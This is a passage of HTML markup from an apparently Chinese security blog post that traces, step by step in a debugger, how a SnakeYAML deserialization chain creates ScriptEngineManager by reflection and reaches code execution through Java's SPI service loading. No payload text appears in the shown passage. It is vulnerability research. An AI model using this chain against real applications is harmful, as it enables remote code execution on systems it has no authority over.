border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">constructor.getSingleData</code></span><span md-inline="plain" style="box-sizing: border-box;">跟踪。</span></p><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5265625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a57cc96e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppFs59Y9MAibAKtUibwyKtLphGBWbAcdq6vzmn7rqKgITXZu1JDuTUaJyQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里并没有走到判断体里面而是直接返回并且调用了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">this.constructDocument()</code></span><span md-inline="plain" style="box-sizing: border-box;">,跟进。</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.503125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b107b35f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpp3Ic3ibFVicSOTBD9hH6AQtMyqxCzL2jabpNVicoJqnPniaHDcfcYHuoD7w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n85" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">this.constructObject</code></span><span md-inline="plain" style="box-sizing: border-box;">就返回了一个Object对象，所以继续从这个方法跟进进去，查看实现。</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.490625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7508b88c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppcWBmSkoRAxLTAmw26Tb1VDMneQwozWp0ChAZKxibLRUicpWKss3Ifn0g%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n87" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">跟进</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">constructObjectNoCheck</code></span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.503125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=640dec9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppUAibuNWay2ts6U9fLiapqBpP2rbgHyicrcOSzrT901U72F3sEibmicxF0nQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n90" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">  这个点先跟踪    </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">getConstructor</code></span></p><p cid="n91" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f51738a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpppZ2nxbIribU0jcF242RbibnlfrFnQypnF3ujckIzN8LobhxfP6H5mswg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.54140625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7a827823&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppkBxawiajzLzB2KwnrNonsRBQfxzoiaWHIofuObQWU4SNTAsoQGrKn9XA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n94" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里还是返回了一个反射的class对象，继续跟。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5953125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=37161ef4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppVGffyVpmlEka4fgRsWMJzKfoRDEpDfUOCkx96yaceez7VErZ2cJ9Pw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n94" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n96" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里获取了name的值为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">javax.script.ScriptEngineManager</code></span><span md-inline="plain" style="box-sizing: border-box;">,然后调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">getClassForName</code></span><span md-inline="plain" style="box-sizing: border-box;">对name进行传入获取cl的class对象。跟踪</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">getClassForName</code></span><span md-inline="plain" style="box-sizing: border-box;">。</span><br/></p><p cid="n97" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4953125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=33bc5155&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppb9Dcb2rVPGfobCjoXk4gVW6FqQMtDvNgUgNpUic1wN1yia8yjq9WW6bA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n100" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在这里就可以看到使用反射创建了一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">javax.script.ScriptEngineManager</code></span><span md-inline="plain" style="box-sizing: border-box;">对象的具体实现，而后面代码则是一些赋值的。执行到下一步来到了这个。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2dcfe8ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppOygk1GWtPW3p2ibicic3JyKzicREAS4dFDnGT5ibYe1qULOR6qTB3ddiaXbg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n102" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">跟踪</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">construct</code></span><span md-inline="plain" style="box-sizing: border-box;">方法查看，到了这部分其实就已经到了关键部分。</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.58046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=583eac33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppA3DjPBJWSopB4Ynn9DAekeB9doQ6hjD3IrRKwGKiaIcSbsxpXQgGiafA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n104" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">看到这段代码创建了一个array数组，并且调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">node.getType.getDeclaredConstructors();</code></span><span md-inline="plain" style="box-sizing: border-box;">赋值给</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">arr$</code></span><span md-inline="plain" style="box-sizing: border-box;">数组，回想前面的分析中，获取的name，也就是利用了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">javax.script.ScriptEngineManager</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">Class.forName</code></span><span md-inline="plain" style="box-sizing: border-box;">进行创建反射对象并且赋值给note的type里面。而后这里</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">getDeclaredConstructors()</code></span><span md-inline="plain" style="box-sizing: border-box;">获取它的无参构造方法。</span><br/></p><p cid="n105" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">然后将获取到的arr数组添加到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">possibleConstructors</code></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=825ecfd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppicwZcb5Ng3O2PKW71ACAkEMHdIBo3noMfM54C4iciaVRje8oFtt30CRCQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n107" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">而后将获取到的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">possibleConstructors</code></span><span md-inline="plain" style="box-sizing: border-box;">获取到的第一个数组进行赋值并转换成</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">Constructor</code></span><span md-inline="plain" style="box-sizing: border-box;">类型</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.42421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0b524a64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpp6yoic7NN0EoIKaHqSzI838njA4x8XHA8BjHEc4KaHyJMwdjAYyBPG4A%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n109" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里回去遍历获取snode的值。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.42421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0b524a64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpp6yoic7NN0EoIKaHqSzI838njA4x8XHA8BjHEc4KaHyJMwdjAYyBPG4A%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n111" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里进行使用反射实例化对象。</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5265625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d3a97de8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpp4hRPIYxibyxe6eQawAUBmeibtwGG13CbvN3WxiazxeMAgWMcvPlWsyCvg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=936c0c74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppg6GulUb2icXRzfKRun16lbNALGib320TFVOlrK8l3LRIQfoCZcH3pH3w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n113" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">到了这里以为就结束了嘛？不是的，其实我们现在只是知道了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">javax.script.ScriptEngineManager</code></span><span md-inline="plain" style="box-sizing: border-box;">是如何进行实例化的，但我们并不知道</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">javax.script.ScriptEngineManager</code></span><span md-inline="plain" style="box-sizing: border-box;">实例化后是如何触发的代码执行。下面可以来跟踪一下SPI机制是怎么实现的。</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.590625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b8365669&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppMrGVaq4Zn7SoiaY08fvoiaLbPDllQa6nKWicibTwjW0BF8UGWBy1XzTddQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n115" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="image" data-src="C:\Users\Administrator\Desktop\wiki\blogs\img\yaml反序列化分析\24.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 704.4px;"></span></p><p cid="n116" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n117" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在前面反射调用无参构造方法后，会走到这里，下面调用init方法跟踪一下。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=33752265&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppuzdZk9IMMJAljA4ox4GiaDO8M1DRLOwtW1QxsvGkdJibAUbpuZjEtybA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n120" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">跟踪</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.57109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0d9284b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppiaqaY1zuh5iacugnDiaVX1faiaDM6IMverEhI4L5dzK5biaZulKJK1No1Ng%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.228287841191067" data-s="300,640" style="" data-type="png" data-w="1209" src="https://wechat2rss.xlab.app/img-proxy/?k=6befd74d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpp5L8EoOrNRyFa8W3NcM5D9BHc0GOypVYwc66GfWWUbRbuOgzK6TOufA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n123" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">看到这里其实就和前面讲到的SPI机制一样，调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">getServiceLoader</code></span><span md-inline="plain" style="box-sizing: border-box;">动态加载类，这里先在慢慢往下看</span></p><p cid="n123" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.44543249797898143" data-s="300,640" style="" data-type="png" data-w="1237" src="https://wechat2rss.xlab.app/img-proxy/?k=cc88bfbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppWTYhlR8HvxQkXmciaN8ADsccul1wDracZGwlkcaibXPKqDoPGksMSAPA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n123" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p><p cid="n123" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">跟进该地方会看到调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">hasNextService</code></span><span md-inline="plain" style="box-sizing: border-box;">方法</span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.57421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5da5a11b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpphTYqhewt4QZlyjE6GTXOfKEeSaIvTcEJxrNLEEuLiagiaTKcZvvFtiboA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n127" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里会去</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">META-INF/services/javax.script.ScriptEngineFactory</code></span><span md-inline="plain" 